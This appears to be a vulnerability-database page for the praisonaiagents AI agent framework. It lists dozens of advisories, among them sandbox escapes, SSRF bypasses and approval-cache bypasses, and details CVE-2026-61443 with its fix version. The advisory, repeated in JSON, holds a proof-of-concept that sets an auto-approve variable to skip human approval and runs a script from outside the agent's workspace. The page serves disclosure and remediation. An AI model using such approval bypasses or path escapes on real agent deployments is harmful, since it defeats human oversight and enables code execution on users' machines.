Vulnerabilities in pkg:pypi/praisonaiagents

PACKAGE
Advisory Identifier: GHSA-c44f-37qr-gw3f
Advisory Summary

CVE-2026-61443 is a HIGH (CVSS 8.1) skilltools executes scripts without path vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves skilltools executes scripts without path containment validation. Remediation is available by upgrading affected packages to version 1.6.78.

58 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/praisonaiagents

58 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/praisonaiagents. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-c44f-37qr-gw3f CVE-2026-61443 HIGH PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
GHSA-f352-4x87-wmjh - HIGH Duplicate Advisory: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
GHSA-4gfv-wg42-7jw5 CVE-2026-61437 HIGH PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
GHSA-4xxv-6wmf-xf45 CVE-2026-61432 MODERATE PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
GHSA-c6pq-cprj-62fw - HIGH Duplicate Advisory: PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
GHSA-3f4v-mp44-x4x2 - MODERATE Duplicate Advisory: PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
GHSA-m6wp-h223-4c8g CVE-2026-61446 HIGH PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
GHSA-2xv2-w8cq-5gxw CVE-2026-61447 CRITICAL PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets
GHSA-q359-rmv4-56fg - HIGH Duplicate Advisory: PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
GHSA-29r9-67vg-qj56 CVE-2026-60087 MODERATE PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments
GHSA-r3xw-gcpr-rf26 - MODERATE Duplicate Advisory: PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments
GHSA-qg25-6gc4-48mg CVE-2026-61430 HIGH PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure
GHSA-92x2-g374-gcvx - HIGH Duplicate Advisory: PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure
GHSA-qjw5-xwrp-xwpq CVE-2026-60089 MODERATE PraisonAI: Project config can auto-save agent output outside the project root
GHSA-rrqj-82cc-g6h4 - MODERATE Duplicate Advisory: PraisonAI: Project config can auto-save agent output outside the project root
GHSA-6g59-gm2v-qhvq CVE-2026-61429 HIGH PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass
GHSA-rc3q-9pxg-3jhr - HIGH Duplicate Advisory: PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass
GHSA-gxmw-5f7x-6g22 CVE-2026-55527 HIGH praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
GHSA-cfxv-8fw8-rwpv CVE-2026-55530 MODERATE praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool
GHSA-vg6p-v9vm-6fgj CVE-2026-55524 HIGH praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
GHSA-x44h-65qv-cw74 CVE-2026-55526 HIGH praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
GHSA-7g3p-92qq-8wvh CVE-2026-55528 HIGH praisonaiagents: AgentServer declares auth_token but never enforces it on any route
GHSA-8hjw-25cg-g52h CVE-2026-55523 HIGH praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
GHSA-hxmv-c4g6-5fqc CVE-2026-55522 HIGH PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
GHSA-5r34-2g38-6569 CVE-2026-55525 HIGH praisonaiagents web_crawl vulnerable to SSRF via redirect-following
GHSA-c969-5x3p-vq3v CVE-2026-57130 HIGH PraisonAI: IMAP Command Injection via Unsanitized Email Search Parameters
GHSA-2rcg-mm5h-xchx CVE-2026-57129 HIGH PraisonAI: Arbitrary File Read via `@file:` Mention Path Traversal
GHSA-35w5-pcw4-jx94 CVE-2026-57128 MODERATE PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint
GHSA-vxgj-xg5c-p4h7 CVE-2026-57126 HIGH praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS
GHSA-4869-x4pr-q22x CVE-2026-57125 CRITICAL PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass
GHSA-x227-pf99-vffg CVE-2026-57123 CRITICAL PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in
GHSA-pv2j-rghr-v5r9 CVE-2026-57120 MODERATE PraisonAI: execute_code sandbox bypass: str.format C-level attribute access reads every blocklisted dunder
GHSA-x8cv-xmq7-p8xp CVE-2026-57118 CRITICAL PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints
GHSA-6h9p-93hq-q7h6 CVE-2026-57115 MODERATE PraisonAI: SpiderTools redirect-target SSRF protection bypass
GHSA-vmf9-xx9w-86wx CVE-2026-57112 HIGH PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools
GHSA-4pcv-mg8v-vrgf CVE-2026-57143 HIGH PraisonAI: Server-Side Request Forgery (SSRF) in SearxNG / search_web tools via attacker-controlled searxng_url parameter
GHSA-766v-q9x3-g744 CVE-2026-56078 MODERATE PraisonAI has Memory State Leakage and Path Traversal in MultiAgent Context Handling
GHSA-ffp3-3562-8cv3 CVE-2026-56074 MODERATE PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands
GHSA-4mr5-g6f9-cfrh CVE-2026-47392 CRITICAL PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)
GHSA-5cxw-77wg-jrf3 CVE-2026-47395 MODERATE PraisonAI CLI automatically resolves @url mentions in prompt text and can read loopback URLs into model context
GHSA-5c6w-wwfq-7qqm CVE-2026-47390 MODERATE PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings
GHSA-q9pw-vmhh-384g CVE-2026-44335 HIGH PraisonAI has an SSRF bypass
GHSA-rg3h-x3jw-7jm5 CVE-2026-41496 HIGH PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315)
GHSA-gmjg-hv98-qggq CVE-2026-44339 HIGH PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute
GHSA-8x8f-54wf-vv92 CVE-2026-40289 CRITICAL PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions
GHSA-vc46-vw85-3wvm CVE-2026-40288 CRITICAL PraisonAI has critical RCE via `type: job` workflow YAML
GHSA-g985-wjh9-qxxc CVE-2026-40287 HIGH PraisonAI Vulnerable to RCE via Automatic tools.py Import
GHSA-qq9r-63f6-v542 CVE-2026-40160 HIGH PraisonAIAgents: SSRF via unvalidated URL in `web_crawl` httpx fallback
GHSA-x462-jjpc-q4q4 - HIGH PraisonAI: Cross-Origin Agent Execution via Hardcoded Wildcard CORS and Missing Authentication on AGUI Endpoint
GHSA-7j2f-xc8p-fjmq CVE-2026-40152 MODERATE PraisonAIAgents: Path Traversal via Unvalidated Glob Pattern in list_files Bypasses Workspace Boundary
GHSA-v8g7-9q6v-p3x8 CVE-2026-40153 HIGH PraisonAIAgents: Environment Variable Secret Exfiltration via os.path.expandvars() Bypassing shell=False in Shell Tool
GHSA-8f4v-xfm9-3244 CVE-2026-40150 HIGH PraisonAIAgents has SSRF and Local File Read via Unvalidated URLs in web_crawl Tool
GHSA-grrg-5cg9-58pf CVE-2026-40117 MODERATE PraisonAIAgents: Arbitrary File Read via read_skill_file Missing Workspace Boundary and Approval Gate
GHSA-v7px-3835-7gjx CVE-2026-40111 CRITICAL PraisonAIAgents has an OS Command Injection via shell=True in Memory Hooks Executor (memory/hooks.py)
GHSA-qf73-2hrx-xprp CVE-2026-39888 CRITICAL PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)
GHSA-44c2-3rw4-5gvh CVE-2026-34954 HIGH PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL
GHSA-6vh2-h83c-9294 CVE-2026-34938 CRITICAL PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
GHSA-w37c-qqfp-c67f CVE-2026-34937 HIGH PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

CVE-2026-61443 at a Glance

CVE Identifier CVE-2026-61443
GHSA Identifier GHSA-c44f-37qr-gw3f
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-61443

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.78
pip install praisonaiagents>=1.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61443, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools. ### Details `src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119): ```python def run_skill_script(self, script_path: str, ...): script_path = os.path.expanduser(script_path) if not os.path.isabs(script_path): script_path = os.path.join(self._working_directory, script_path) script_path = os.path.abspath(script_path) if not os.path.exists(script_path): return f"Error: Script not found at {script_path}" # No path traversal check, no containment validation # Directly executes whatever is at that path: result = subprocess.run(cmd, ...) ``` By contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory: ```python def _validate_path(self, filepath: str) -> str: # ... cwd = os.path.abspath(os.getcwd()) if os.path.commonpath([absolute, cwd]) != cwd: raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}") ``` `SkillTools` has no equivalent check. ### PoC ```python import os, tempfile from praisonaiagents.tools.skill_tools import SkillTools # Create a "safe" working directory (the jail) jail = tempfile.mkdtemp(prefix="skill_jail_") # Create a malicious script OUTSIDE the jail attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh") with open(attack_script, 'w') as f: f.write("#!/bin/bash\n") f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n") f.write("echo \"USER: $(whoami)\"\n") f.write("echo \"HOSTNAME: $(hostname)\"\n") os.chmod(attack_script, 0o755) # Bypass approval (simulates Docker env or YAML approve:) os.environ["PRAISONAI_AUTO_APPROVE"] = "true" st = SkillTools() st._working_directory = jail # Pretend we're confined # Run script from OUTSIDE the jail — no path validation! result = st.run_skill_script(attack_script) print(result) # Output: # PROOF_OF_EXPLOIT: Script executed outside jail # USER: anushkavirgaonkar # HOSTNAME: Anushkas-MacBook-Pro-2.local # Cleanup del os.environ["PRAISONAI_AUTO_APPROVE"] os.unlink(attack_script) os.rmdir(jail) ``` **Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly. ### Impact - **Arbitrary script execution**: Run any script on the filesystem from any location - **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script` - **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges

CVE-2026-61443 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
1.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.78
1.6.78

References

Frequently Asked Questions

What is CVE-2026-61443?
CVE-2026-61443 is a security vulnerability in PraisonAI involving SkillTools Executes Scripts Without Path Containment Validation under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 1.6.78 across affected packages: praisonaiagents.
What version fixes CVE-2026-61443?
Upgrading to 1.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.78. Upgrade your dependency to 1.6.78 or later.
What is the CVSS score of CVE-2026-61443?
CVE-2026-61443 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-61443?
CVE-2026-61443 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-61443?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c44f-37qr-gw3f",
  "modified" : "2026-10-08T16:49:23Z",
  "published" : "2026-10-08T16:49:23Z",
  "aliases" : [ "CVE-2026-61443" ],
  "summary" : "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation",
  "details" : "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T16:49:23Z",
    "nvd_published_at" : "2026-07-15T17:16:52Z"
  }
}